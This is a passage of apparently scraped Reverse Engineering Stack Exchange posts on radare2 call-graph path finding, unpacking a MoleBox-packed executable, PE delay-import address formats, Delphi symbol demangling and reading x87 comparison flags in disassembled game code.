    and feeding the output back into r2. I ran abb $s from various locations to see if it would add the basic blocks to the bbs list. The various locations were 0x0, 0x00430044, and 0x0042aa98. But nothing worked, I always get the \"Unable to find source or destination basic block\" error message. I could be way off and going down rabbit holes, but the \"find paths\" feature would be so useful, and I'd really like to get it working? Any help on using the agt feature as documented would be appreciated.

    \n", "Title": "How to find paths from current offset to given address using radare2?", "Tags": "|radare2|call-graph|", "Answer": "

    When I realized that this feature was not implement, I made a workaround to get what I want. I output the full program call graph then made a very simple python script that uses networkx to find paths between nodes. This is not ideal but gets the job done.

    \n\n

    In radare2, I output the full program call graph to a .dot file:

    \n\n
    agC > agCfullProgramCallGraph.dot\n
    \n\n

    Then I have a python script that takes that graph and finds the paths for the connected nodes I'm interested in.

    \n\n
    #!/usr/bin/env python\n\"\"\"\nGiven a .dot graph, a source node, target node, this script prints out new graphs with all the paths between\n\n\"\"\"       \nimport networkx as nx\nfrom pygraphviz import *\nclass DotGraphvizUtil(object):\n\n    def find_paths(self, dot_file_path, source, target):\n        agraph = AGraph(dot_file_path)\n        graphviz_graph = nx.nx_agraph.from_agraph(agraph)\n\n        paths = nx.all_simple_paths(graphviz_graph, source=source, target=target)\n\n        i = 0\n\n        for path in paths:\n            subgraph = nx.subgraph(graphviz_graph,path)\n            print(path)\n            nx.nx_agraph.write_dot(subgraph,\"srcTargetGraph{}.dot\".format(i))\n            i =+ 1\n\n        if i == 0:\n            print(\"No paths found from {} {}\".format(source, target))    \n\nif __name__ == '__main__':\n    dot_file = \"agCfullProgramCallGraph.dot\"\n    dotGraph = DotGraphvizUtil()\n    dotGraph.find_paths(dot_file_path=dot_file, source='0x004669bc', target='0x00466828')\n
    \n" }, { "Id": "16255", "CreationDate": "2017-09-03T13:58:54.713", "Body": "

    I have an exe application that contains three files packed in it. I know how those files were named before packing, I have around 80% of packed files and some of main executable file binary code. I've also found out that the execution creates and uses two files in \\AppData\\Local\\Temp\\ called MBX@pid@3bytes.### which contains application entry I believe. And when I scan the file header with PEiD I get Nothing found [Overlay] *.

    \n\n

    Thats my objdump result

    \n\n
    application.exe:     file format pei-i386\narchitecture: i386, flags 0x00000102:\nEXEC_P, D_PAGED\nstart address 0x0083db33\n\nCharacteristics 0x30f\n    relocations stripped\n    executable\n    line numbers stripped\n    symbols stripped\n    32 bit words\n    debugging information removed\n\nTime/Date       Tue Dec  8 10:45:51 2009\nMagic           010b    (PE32)\nMajorLinkerVersion  6\nMinorLinkerVersion  0\nSizeOfCode      00000000\nSizeOfInitializedData   00150000\nSizeOfUninitializedData 00000000\nAddressOfEntryPoint 0043db33\nBaseOfCode      0043c000\nBaseOfData      001b2000\nImageBase       00400000\nSectionAlignment    00001000\nFileAlignment       00001000\nMajorOSystemVersion 4\nMinorOSystemVersion 0\nMajorImageVersion   0\nMinorImageVersion   0\nMajorSubsystemVersion   4\nMinorSubsystemVersion   0\nWin32Version        00000000\nSizeOfImage     00457000\nSizeOfHeaders       00001000\nCheckSum        00000000\nSubsystem       00000002    (Windows GUI)\nDllCharacteristics  00000000\nSizeOfStackReserve  00100000\nSizeOfStackCommit   00001000\nSizeOfHeapReserve   00100000\nSizeOfHeapCommit    00001000\nLoaderFlags     00000000\nNumberOfRvaAndSizes 00000010\n\nThe Data Directory\nEntry 0 00000000 00000000 Export Directory [.edata (or where ever we found it)]\nEntry 1 0044eb2c 0000003c Import Directory [parts of .idata]\nEntry 2 003dc000 0005e81a Resource Directory [.rsrc]\nEntry 3 00000000 00000000 Exception Directory [.pdata]\nEntry 4 00000000 00000000 Security Directory\nEntry 5 00000000 00000000 Base Relocation Directory [.reloc]\nEntry 6 00000000 00000000 Debug Directory\nEntry 7 00000000 00000000 Description Directory\nEntry 8 00000000 00000000 Special Directory\nEntry 9 00000000 00000000 Thread Storage Directory [.tls]\nEntry a 00000000 00000000 Load Configuration Directory\nEntry b 00000000 00000000 Bound Import Directory\nEntry c 0044e000 0000005c Import Address Table Directory\nEntry d 0022c5f8 00000060 Delay Import Directory\nEntry e 00000000 00000000 CLR Runtime Header\nEntry f 00000000 00000000 Reserved\n\nThere is an import table in 6 at 0x84eb2c\n\nThe Import Tables (interpreted 6 section contents)\n vma:            Hint    Time      Forward  DLL       First\n                 Table   Stamp     Chain    Name      Thunk\n 0044eb2c   0044eb68 00000000 00000000 0044ecb8 0044e000\n\n    DLL Name: KERNEL32.dll\n    vma:  Hint/Ord Member-Name Bound-To\n    44ebc4    537  InitializeCriticalSection\n    44ebe0    408  GetProcAddress\n    44ebf2    594  LocalFree\n    44ebfe    667  RaiseException\n    44ec10    590  LocalAlloc\n    44ec1e    375  GetModuleHandleA\n    44ec32    583  LeaveCriticalSection\n    44ec4a    143  EnterCriticalSection\n    44ec62    429  GetShortPathNameA\n    44ec76    709  ResumeThread\n    44ec86    925  WriteProcessMemory\n    44ec9c    400  GetPrivateProfileSectionA\n    44ed52    434  GetStringTypeA\n    44ed42    571  LCMapStringW\n    44ed32    570  LCMapStringA\n    44ecfa    714  RtlUnwind\n    44ed06    903  WideCharToMultiByte\n    44ed1c    619  MultiByteToWideChar\n    44ed64    437  GetStringTypeW\n\n 0044eb40   0044ebb8 00000000 00000000 0044ecee 0044e050\n\n    DLL Name: USER32.dll\n    vma:  Hint/Ord Member-Name Bound-To\n    44ecc6    142  DefWindowProcA\n    44ecd8      2  AdjustWindowRectEx\n\n 0044eb54   00000000 00000000 00000000 00000000 00000000\n\nSections:\nIdx Name          Size      VMA       LMA       File off  Algn\n  0 0             000b7000  00401000  00401000  00001000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  1 1             00029000  005b2000  005b2000  000b8000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  2 2             00001000  0062f000  0062f000  000e1000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  3 3             0005e81a  007dc000  007dc000  000e2000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  4 4             00001000  0083b000  0083b000  00141000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  5 5             0000c000  0083c000  0083c000  00142000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  6 6             00000d76  0084e000  0084e000  0014e000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  7 7             00002000  0084f000  0084f000  0014f000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n
    \n\n

    The result I'm hoping for is extracted files that have been packed into the executable.

    \n\n

    Update

    \n\n

    I've used FastScanner 3.0 against the application and I've found out that it was packed just as the previous one, using MoleBox Pro. Here's all the FastScanner gueses (same as in previous app).\n\"FastScanner

    \n\n

    So everything seems to be just like it was, but the binary file is different and I can't unpack it in any way, when back in previous application it wasn't a problem at all. Molebox is long dead so I doubt it was packed by newer version. \nAlso messing with ollydbg I've found out that the application have entry points on those two files that I've called before.

    \n", "Title": "Unpack files from executable", "Tags": "|unpacking|", "Answer": "

    It turns out that the newer version was packed just as the previous one, using same Molebox Pro. But it was messing with PE Headers at runtime so I've needed to unwrap it from those masking layers first. Scylla was perfect tool for that.

    \n" }, { "Id": "16261", "CreationDate": "2017-09-04T21:34:40.840", "Body": "

    The Reko decompiler crashes while trying to load the PE delay import directory of a particular binary I'm looking at. For 32-bit executables, the PE spec states that the directory consists of a sequence of records where offset 4 contains:

    \n\n
    \n

    [the] RVA of the name of the DLL to be loaded. The name resides in the read-only data section of the image (szName)

    \n
    \n\n

    When I use dumpbin to look at the image, I see that the PE header

    \n\n
          185000 [     2C6] RVA [size] of Delay Import \n
    \n\n

    And the .didata section's raw data is:

    \n\n
    00585000: 00 00 00 00 90 51 58 00 00 00 00 00 A0 50 58 00  .....QX......PX.\n00585010: B4 50 58 00 C8 50 58 00 DC 50 58 00 00 00 00 00  \ufffdPX.\ufffdPX.\ufffdPX..... \n(etc)\n
    \n\n

    Notice that at 00585004, the szName field has what looks to me a virtual address (00585190) and not a RVA (which would have been 00185190). Still, dumpbin manages to interpret this as:

    \n\n
    USER32.DLL\n          00000000 Characteristics\n          00000000 Address of HMODULE\n          005850A0 Import Address Table\n          005850B4 Import Name Table\n          005850C8 Bound Import Name Table\n          005850DC Unload Import Name Table\n                 0 time date stamp\n
    \n\n

    where it follows the 00585190 to find the string USER32.DLL.

    \n\n

    So how should the entries in the Delay Import Directory be interpreted? Should a PE loader first attempt to read the szName field as an RVA, and only when it discovers that it isn't a valid RVA, attempt to read it as VA?

    \n\n

    Note that for small EXE files, which get loaded at address 0x0040000, the range of valid RVA's will be [0x00000000..MAX_RVA) while the range of valid virtual addresses will be [0x00400000..MAX_RVA + 0x00400000], so RVA's and VA's could theoretically be distinguished by looking at their numerical values. But once the binary size exceeds 0x00400000 bytes (4194304 bytes) these ranges overlap and you can't tell the difference anymore.

    \n\n

    Update:\nInterestingly, many PE viewers and editors crash or go off the rails on this binary. Dumpbin, IDA, and -- most significantly -- the Windows loader don't crash. Wonder what algorithm they are using to avoid dying on this binary?

    \n", "Title": "Should the Delay Import Directory contain virtual addresses?", "Tags": "|pe32|", "Answer": "

    Delayed imports are not processed by the system loader, so the programmer can put into it any kind of data, as long as they're prepared to handle it. By convention (mostly because Visual C++ did it), delayed imports are expected to use the same format as \"normal\" imports, but since this is not enforced by the OS it's not a requirement, and a specific program can use its own format or put any garbage into it.

    \n\n

    IIRC the issue with szName comes from the first implementation of the delayed imports (VC 6.0) which by mistake used full addresses instead of RVAs. This can be seen in the source code of the delayed import helper shipped with Visual C++ (delayhlp.cpp):

    \n\n
    // For our own internal use, we convert to the old\n// format for convenience.\n//\nstruct InternalImgDelayDescr {\n    DWORD           grAttrs;        // attributes\n    LPCSTR          szName;         // pointer to dll name\n    HMODULE *       phmod;          // address of module handle\n    PImgThunkData   pIAT;           // address of the IAT\n    PCImgThunkData  pINT;           // address of the INT\n    PCImgThunkData  pBoundIAT;      // address of the optional bound IAT\n    PCImgThunkData  pUnloadIAT;     // address of optional copy of original IAT\n    DWORD           dwTimeStamp;    // 0 if not bound,\n                                    // O.W. date/time stamp of DLL bound to (Old BIND)\n    };\n
    \n\n

    (note how it says \"old format\" and most field, including szName, are full pointers and not RVAs).

    \n\n

    The issue is also mentioned in the MSDN article Changes in the DLL Delayed Loading Helper Function Since Visual C++ 6.0:

    \n\n
    \n

    Since the pointers in the delay descriptor (ImgDelayDescr in\n delayimp.h) have been changed from absolute addresses (VAs) to\n relative addresses (RVAs) to work as expected in both 32- and 64-bit\n programs, you need to convert these back to pointers. A new function\n has been introduced: PFromRva, found in delayhlp.cpp. You can use this\n function on each of the fields in the descriptor to convert them back\n to either 32- or 64-bit pointers. The default delay load helper\n function continues to be a good template to use as an example.

    \n
    \n\n

    If you open the above-mentioned header, you can see this definition:

    \n\n
    enum DLAttr {                   // Delay Load Attributes\n    dlattrRva = 0x1,                // RVAs are used instead of pointers\n                                    // Having this set indicates a VC7.0\n                                    // and above delay load descriptor.\n    };\n
    \n\n

    This is how IDA detects the correct format of delayed imports (absolute addresses in your case) and can handle them without crashing.

    \n" }, { "Id": "16263", "CreationDate": "2017-09-05T07:25:59.963", "Body": "

    I'm looking at a PE binary which, given the names of some of the imported symbols, looks like it was built using the Delphi programming language. I'm basing this assumption on the symbols the binary is exporting, e.g. @@Calculator@Initialize and @@Calculator@Finalize. The Initialize and Finalize are reminiscent of the initialization and finalization keywords of the Delphi unit construct.

    \n\n

    Here is an excerpt of the output of dumpbin:

    \n\n
         45    0 001335BC @@Aaft@Finalize\n     44    1 001335AC @@Aaft@Initialize\n     13    2 000E78C8 @@Advreg@Finalize\n     12    3 000E78B8 @@Advreg@Initialize\n
    \n\n

    The only references to Borland's/Embarcadero's mangling scheme I have are these (one in English, one in German) which both describe the mangling scheme in C++:

    \n\n\n\n

    None of the patterns in those references seem to apply to the @@ prefix of this symbol. One hypothetical interpretation of @@Foo@Initialize is \"this symbol is for a special function Initialize\", where the @@ prefix is used to avoid conflicts with a \"regular\" method Initialize in a class Foo.

    \n\n

    Unfortunately I don't have access to TDUMP.exe so I can't demangle this myself in order to confirm my hypothesis. So how should I be interpreting these symbols matching the pattern @@<name>@Initializeand @@<name>@Finalize?

    \n", "Title": "How to demangle symbols with starting with \"@@\"?", "Tags": "|symbols|delphi|", "Answer": "

    IDA demangles @@Unit1@Initialize as __linkproc__ Unit1::Initialize and looking for __linkproc__ yields some clues:

    \n
    \n

    Modifiers (mutually exclusive)

    \n

    UM_LINKER_PROC Special linker procedure (#pragma package)

    \n

    case QUALIFIER: /* virdef flag or linker proc */

    \n
    \n

    So looks like these functions are generated for the linker to ensure a specific initialization order. Apparently in C++ files this is achieved by using #pragma package, and I guess for Pascal units it happens automatically. (C++ Builder can use C++ and Pascal code in a single project; in fact most of VCL is implemented in Object Pascal and C++ Builder includes a Delphi compiler).

    \n" }, { "Id": "16271", "CreationDate": "2017-09-05T14:20:16.137", "Body": "

    I'm trying to decompile some singleplayer code for a game (C++ on X86 architecture Linux). I do this with the help of some already available source code, a file (compiled on linux) with debug information and Ida Pro (Mainly only using pseudo-c code conversion). So far everything has been going good up until now. There is a comparison going on which I can't make any sense of.

    \n\n

    Below is a part of the function that is the problem:

    \n\n
    if (v28)\n{\n    health_1 = Commands->Get_Health(obj);\n    this->field_1C = health_1;\n    v14 = health_1 < 0.0;\n    v15 = 0;\n    v16 = health_1 == 0.0;\n    if ((HIBYTE(v13) & 0x45) == 64)\n        v17 = this->field_20 - this->field_1C + this->field_24;\n    else\n        v17 = this->field_20 - this->field_1C;\n    v18 = v17;\n    v19 = ScriptImpClass::Get_Float_Parameter(&this->base, \"Damage_multiplier\") * v18;\n    this->field_24 = v19 + this->field_24;\n    v20 = this->field_20 - v19;\n    Commands->Set_Health(obj, v20);\n    this->field_20 = Commands->Get_Health(obj);\n    this->field_1C = Commands->Get_Health(obj);\n}\n
    \n\n

    There is the following comparison:

    \n\n
    if ((HIBYTE(v13) & 0x45) == 64)\n
    \n\n

    I just cannot figure out what is being checked here. I believe that the if (v28) statement starts at address .text:084D16BF. Below is the complete bytecode of the function and the structure layout of M00_Damage_Modifier_DME

    \n\n
    00000000 GameObjObserverClass struc; (sizeof = 0x8, mappedto_2746); XREF: ScriptClass / r\n00000000 vPtr            dd ? ; offset\n00000004 ID              dd ?\n00000008 GameObjObserverClass ends\n\n00000000 ScriptClass     struc; (sizeof = 0x8, mappedto_2767); XREF: ScriptImpClass / r\n00000000 base            GameObjObserverClass ?\n00000008 ScriptClass     ends\n\n00000000 ScriptImpClass  struc; (sizeof = 0x1C, mappedto_2754)\n00000000; XREF: _ZN17M08_Prison_Patrol7CreatedEP17ScriptableGameObj / r\n00000000; _ZN10M08_Sniper7CreatedEP17ScriptableGameObj / r ...\n00000000 base            ScriptClass ?\n00000008 mOwner          dd ? ; offset\n0000000C mArgC           dd ?\n00000010 mArgV           dd ? ; offset\n00000014 mFactory        dd ? ; offset\n00000018 AutoVariableList dd ? ; offset\n0000001C ScriptImpClass  ends\n\n00000000 M00_Damage_Modifier_DME struc; (sizeof = 0x3C, mappedto_2798)\n00000000 base            ScriptImpClass ?\n0000001C field_1C        dd ?\n00000020 field_20        dd ?\n00000024 field_24        dd ?\n00000028 killableByStar  dd ?\n0000002C killableByNotStar dd ?\n00000030 starModifier    dd ?\n00000034 notStarModifier dd ?\n00000038 enabled         db ?\n00000039 pad_01          db ?\n0000003A pad_02          db ?\n0000003B pad_03          db ?\n0000003C M00_Damage_Modifier_DME ends\n\n.text:084D1582; void __cdecl M00_Damage_Modifier_DME::Damaged(M00_Damage_Modifier_DME *this, ScriptableGameObj *obj, ScriptableGameObj *damager, float amount)\n.text:084D1582                 public _ZN23M00_Damage_Modifier_DME7DamagedEP17ScriptableGameObjS1_f; weak\n.text:084D1582 _ZN23M00_Damage_Modifier_DME7DamagedEP17ScriptableGameObjS1_f proc near\n.text:084D1582; DATA XREF : .data : 08659468o\n.text:084D1582\n.text:084D1582 var_5C = dword ptr - 5Ch\n.text:084D1582 var_58 = dword ptr - 58h\n.text:084D1582 var_43 = byte ptr - 43h\n.text:084D1582 var_42 = byte ptr - 42h\n.text:084D1582 var_41 = byte ptr - 41h\n.text:084D1582 var_40 = dword ptr - 40h\n.text:084D1582 pos_1 = Vector3 ptr - 3Ch\n.text:084D1582 pos = Vector3 ptr - 2Ch\n.text:084D1582 this = dword ptr  4\n.text:084D1582 obj = dword ptr  8\n.text:084D1582 damager = dword ptr  0Ch\n.text:084D1582 amount = dword ptr  10h\n.text:084D1582\n.text:084D1582                 push    ebp\n.text:084D1583                 push    edi\n.text:084D1584                 push    esi\n.text:084D1585                 push    ebx\n.text:084D1586                 sub     esp, 3Ch\n.text:084D1589                 mov     edi, [esp + 4Ch + this]\n.text:084D158D                 mov     ebp, [esp + 4Ch + obj]\n.text:084D1591                 cmp     byte ptr[edi + 38h], 0\n.text:084D1595                 jz      loc_84D184B\n.text:084D159B                 mov[esp + 4Ch + var_41], 0\n.text:084D15A0                 cmp     dword ptr[edi + 30h], 0\n.text:084D15A4                 jnz     short loc_84D15DD\n.text:084D15A6                 sub     esp, 0Ch\n.text:084D15A9                 mov     esi, Commands\n.text:084D15AF                 lea     ebx, [esp + 58h + pos]\n.text:084D15B3                 sub     esp, 10h\n.text:084D15B6                 mov     eax, [edi]\n.text:084D15B8                 push    edi\n.text:084D15B9                 call    dword ptr[eax + 48h]\n.text:084D15BC                 add     esp, 8\n.text:084D15BF                 push    eax\n.text:084D15C0                 push    ebx\n.text:084D15C1                 call    dword ptr[esi + 40h]\n.text:084D15C4                 add     esp, 10h\n.text:084D15C7                 push    ebx\n.text:084D15C8                 call    dword ptr[esi + 110h]\n.text:084D15CE                 add     esp, 10h\n.text:084D15D1                 cmp[esp + 4Ch + damager], eax\n.text:084D15D5                 jnz     short loc_84D15DD\n.text:084D15D7                 cmp     dword ptr[edi + 28h], 0\n.text:084D15DB                 jnz     short loc_84D161A\n.text:084D15DD\n.text:084D15DD loc_84D15DD : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 22j\n.text:084D15DD; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 53j\n.text:084D15DD                 cmp     dword ptr[edi + 34h], 0\n.text:084D15E1                 jnz     short loc_84D161F\n.text:084D15E3                 sub     esp, 0Ch\n.text:084D15E6                 mov     esi, Commands\n.text:084D15EC                 lea     ebx, [esp + 58h + pos_1]\n.text:084D15F0                 sub     esp, 10h\n.text:084D15F3                 mov     eax, [edi]\n.text:084D15F5                 push    edi\n.text:084D15F6                 call    dword ptr[eax + 48h]\n.text:084D15F9                 add     esp, 8\n.text:084D15FC                 push    eax\n.text:084D15FD                 push    ebx\n.text:084D15FE                 call    dword ptr[esi + 40h]\n.text:084D1601                 add     esp, 10h\n.text:084D1604                 push    ebx\n.text:084D1605                 call    dword ptr[esi + 110h]\n.text:084D160B                 add     esp, 10h\n.text:084D160E                 cmp[esp + 4Ch + damager], eax\n.text:084D1612                 jz      short loc_84D161F\n.text:084D1614                 cmp     dword ptr[edi + 2Ch], 0\n.text:084D1618                 jz      short loc_84D161F\n.text:084D161A\n.text:084D161A loc_84D161A : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 59j\n.text:084D161A                 mov[esp + 4Ch + var_41], 1\n.text:084D161F\n.text:084D161F loc_84D161F : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 5Fj\n.text:084D161F; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 90j ...\n.text:084D161F                 cmp[esp + 4Ch + var_41], 0\n.text:084D1624                 jz      short loc_84D163B\n.text:084D1626                 sub     esp, 0Ch\n.text:084D1629                 push    ebp\n.text:084D162A                 mov     eax, Commands\n.text:084D162F                 call    dword ptr[eax + 0DCh]\n.text:084D1635                 fstp    dword ptr[edi + 20h]\n.text:084D1638                 add     esp, 10h\n.text:084D163B\n.text:084D163B loc_84D163B : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + A2j\n.text:084D163B                 mov[esp + 4Ch + var_42], 0\n.text:084D1640                 cmp     dword ptr[edi + 30h], 0\n.text:084D1644                 jz      short loc_84D167D\n.text:084D1646                 sub     esp, 0Ch\n.text:084D1649                 mov     esi, Commands\n.text:084D164F                 lea     ebx, [esp + 58h + pos_1]\n.text:084D1653                 sub     esp, 10h\n.text:084D1656                 mov     eax, [edi]\n.text:084D1658                 push    edi\n.text:084D1659                 call    dword ptr[eax + 48h]\n.text:084D165C                 add     esp, 8\n.text:084D165F                 push    eax\n.text:084D1660                 push    ebx\n.text:084D1661                 call    dword ptr[esi + 40h]\n.text:084D1664                 add     esp, 10h\n.text:084D1667                 push    ebx\n.text:084D1668                 call    dword ptr[esi + 110h]\n.text:084D166E                 add     esp, 10h\n.text:084D1671                 cmp[esp + 4Ch + damager], eax\n.text:084D1675                 jnz     short loc_84D167D\n.text:084D1677                 cmp     dword ptr[edi + 28h], 0\n.text:084D167B                 jnz     short loc_84D16BA\n.text:084D167D\n.text:084D167D loc_84D167D : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + C2j\n.text:084D167D; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + F3j\n.text:084D167D                 cmp     dword ptr[edi + 34h], 0\n.text:084D1681                 jz      short loc_84D16BF\n.text:084D1683                 sub     esp, 0Ch\n.text:084D1686                 mov     esi, Commands\n.text:084D168C                 lea     ebx, [esp + 58h + pos]\n.text:084D1690                 sub     esp, 10h\n.text:084D1693                 mov     eax, [edi]\n.text:084D1695                 push    edi\n.text:084D1696                 call    dword ptr[eax + 48h]\n.text:084D1699                 add     esp, 8\n.text:084D169C                 push    eax\n.text:084D169D                 push    ebx\n.text:084D169E                 call    dword ptr[esi + 40h]\n.text:084D16A1                 add     esp, 10h\n.text:084D16A4                 push    ebx\n.text:084D16A5                 call    dword ptr[esi + 110h]\n.text:084D16AB                 add     esp, 10h\n.text:084D16AE                 cmp[esp + 4Ch + damager], eax\n.text:084D16B2                 jz      short loc_84D16BF\n.text:084D16B4                 cmp     dword ptr[edi + 2Ch], 0\n.text:084D16B8                 jz      short loc_84D16BF\n.text:084D16BA\n.text:084D16BA loc_84D16BA : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + F9j\n.text:084D16BA                 mov[esp + 4Ch + var_42], 1\n.text:084D16BF\n.text:084D16BF loc_84D16BF : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + FFj\n.text:084D16BF; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 130j ...\n.text:084D16BF                 cmp[esp + 4Ch + var_42], 0\n.text:084D16C4                 jz      loc_84D1758\n.text:084D16CA                 sub     esp, 0Ch\n.text:084D16CD                 push    ebp\n.text:084D16CE                 mov     eax, Commands\n.text:084D16D3                 call    dword ptr[eax + 0DCh]\n.text:084D16D9                 fst     dword ptr[edi + 1Ch]\n.text:084D16DC                 add     esp, 10h\n.text:084D16DF                 fldz\n.text:084D16E1                 fxch    st(1)\n.text:084D16E3                 fucompp\n.text:084D16E5                 fnstsw  ax\n.text:084D16E7                 and     ah, 45h\n.text:084D16EA                 xor     ah, 40h\n.text:084D16ED                 jnz     short loc_84D16FA\n.text:084D16EF                 fld     dword ptr[edi + 20h]\n.text:084D16F2                 fsub    dword ptr[edi + 1Ch]\n.text:084D16F5                 fadd    dword ptr[edi + 24h]\n.text:084D16F8                 jmp     short loc_84D1700\n.text:084D16FA; -------------------------------------------------------------------------- -\n.text:084D16FA\n.text:084D16FA loc_84D16FA : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 16Bj\n.text:084D16FA                 fld     dword ptr[edi + 20h]\n.text:084D16FD                 fsub    dword ptr[edi + 1Ch]\n.text:084D1700\n.text:084D1700 loc_84D1700 : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 176j\n.text:084D1700                 fstp[esp + 4Ch + var_40]\n.text:084D1704                 sub     esp, 8\n.text:084D1707                 push    offset aDamage_multi_0; \"Damage_multiplier\"\n.text:084D170C                 push    edi; this\n.text:084D170D                 call    _ZN14ScriptImpClass19Get_Float_ParameterEPKc; ScriptImpClass::Get_Float_Parameter(char const*)\n.text:084D1712                 fmul[esp + 5Ch + var_40]\n.text:084D1716                 fld     st\n.text:084D1718                 fadd    dword ptr[edi + 24h]\n.text:084D171B                 fstp    dword ptr[edi + 24h]\n.text:084D171E                 add     esp, 4\n.text:084D1721                 fsubr   dword ptr[edi + 20h]\n.text:084D1724                 fstp[esp + 58h + var_58]\n.text:084D1727                 push    ebp\n.text:084D1728                 mov     eax, Commands\n.text:084D172D                 call    dword ptr[eax + 0E4h]\n.text:084D1733                 mov[esp + 5Ch + var_5C], ebp\n.text:084D1736                 mov     eax, Commands\n.text:084D173B                 call    dword ptr[eax + 0DCh]\n.text:084D1741                 fstp    dword ptr[edi + 20h]\n.text:084D1744                 mov[esp + 5Ch + var_5C], ebp\n.text:084D1747                 mov     eax, Commands\n.text:084D174C                 call    dword ptr[eax + 0DCh]\n.text:084D1752                 fstp    dword ptr[edi + 1Ch]\n.text:084D1755                 add     esp, 10h\n.text:084D1758\n.text:084D1758 loc_84D1758 : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 142j\n.text:084D1758                 mov[esp + 4Ch + var_43], 0\n.text:084D175D                 cmp     dword ptr[edi + 30h], 0\n.text:084D1761                 jz      short loc_84D179A\n.text:084D1763                 sub     esp, 0Ch\n.text:084D1766                 mov     esi, Commands\n.text:084D176C                 lea     ebx, [esp + 58h + pos_1]\n.text:084D1770                 sub     esp, 10h\n.text:084D1773                 mov     eax, [edi]\n.text:084D1775                 push    edi\n.text:084D1776                 call    dword ptr[eax + 48h]\n.text:084D1779                 add     esp, 8\n.text:084D177C                 push    eax\n.text:084D177D                 push    ebx\n.text:084D177E                 call    dword ptr[esi + 40h]\n.text:084D1781                 add     esp, 10h\n.text:084D1784                 push    ebx\n.text:084D1785                 call    dword ptr[esi + 110h]\n.text:084D178B                 add     esp, 10h\n.text:084D178E                 cmp[esp + 4Ch + damager], eax\n.text:084D1792                 jnz     short loc_84D179A\n.text:084D1794                 cmp     dword ptr[edi + 28h], 0\n.text:084D1798                 jz      short loc_84D17D7\n.text:084D179A\n.text:084D179A loc_84D179A : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 1DFj\n.text:084D179A; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 210j\n.text:084D179A                 cmp     dword ptr[edi + 34h], 0\n.text:084D179E                 jz      short loc_84D17DC\n.text:084D17A0                 sub     esp, 0Ch\n.text:084D17A3                 mov     esi, Commands\n.text:084D17A9                 lea     ebx, [esp + 58h + pos]\n.text:084D17AD                 sub     esp, 10h\n.text:084D17B0                 mov     eax, [edi]\n.text:084D17B2                 push    edi\n.text:084D17B3                 call    dword ptr[eax + 48h]\n.text:084D17B6                 add     esp, 8\n.text:084D17B9                 push    eax\n.text:084D17BA                 push    ebx\n.text:084D17BB                 call    dword ptr[esi + 40h]\n.text:084D17BE                 add     esp, 10h\n.text:084D17C1                 push    ebx\n.text:084D17C2                 call    dword ptr[esi + 110h]\n.text:084D17C8                 add     esp, 10h\n.text:084D17CB                 cmp[esp + 4Ch + damager], eax\n.text:084D17CF                 jz      short loc_84D17DC\n.text:084D17D1                 cmp     dword ptr[edi + 2Ch], 0\n.text:084D17D5                 jnz     short loc_84D17DC\n.text:084D17D7\n.text:084D17D7 loc_84D17D7 : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 216j\n.text:084D17D7                 mov[esp + 4Ch + var_43], 1\n.text:084D17DC\n.text:084D17DC loc_84D17DC : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 21Cj\n.text:084D17DC; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 24Dj ...\n.text:084D17DC                 cmp[esp + 4Ch + var_43], 0\n.text:084D17E1                 jz      short loc_84D184B\n.text:084D17E3                 sub     esp, 0Ch\n.text:084D17E6                 push    ebp\n.text:084D17E7                 mov     eax, Commands\n.text:084D17EC                 call    dword ptr[eax + 0DCh]\n.text:084D17F2                 fstp    dword ptr[edi + 1Ch]\n.text:084D17F5                 add     esp, 8\n.text:084D17F8                 fld     dword ptr[edi + 20h]\n.text:084D17FB                 fsub    dword ptr[edi + 1Ch]\n.text:084D17FE                 fstp[esp + 54h + var_40]\n.text:084D1802                 push    offset aDamage_multi_0; \"Damage_multiplier\"\n.text:084D1807                 push    edi; this\n.text:084D1808                 call    _ZN14ScriptImpClass19Get_Float_ParameterEPKc; ScriptImpClass::Get_Float_Parameter(char const*)\n.text:084D180D                 fmul[esp + 5Ch + var_40]\n.text:084D1811                 add     esp, 4\n.text:084D1814                 fsubr   dword ptr[edi + 20h]\n.text:084D1817                 fstp[esp + 58h + var_58]\n.text:084D181A                 push    ebp\n.text:084D181B                 mov     eax, Commands\n.text:084D1820                 call    dword ptr[eax + 0E4h]\n.text:084D1826                 mov[esp + 5Ch + var_5C], ebp\n.text:084D1829                 mov     eax, 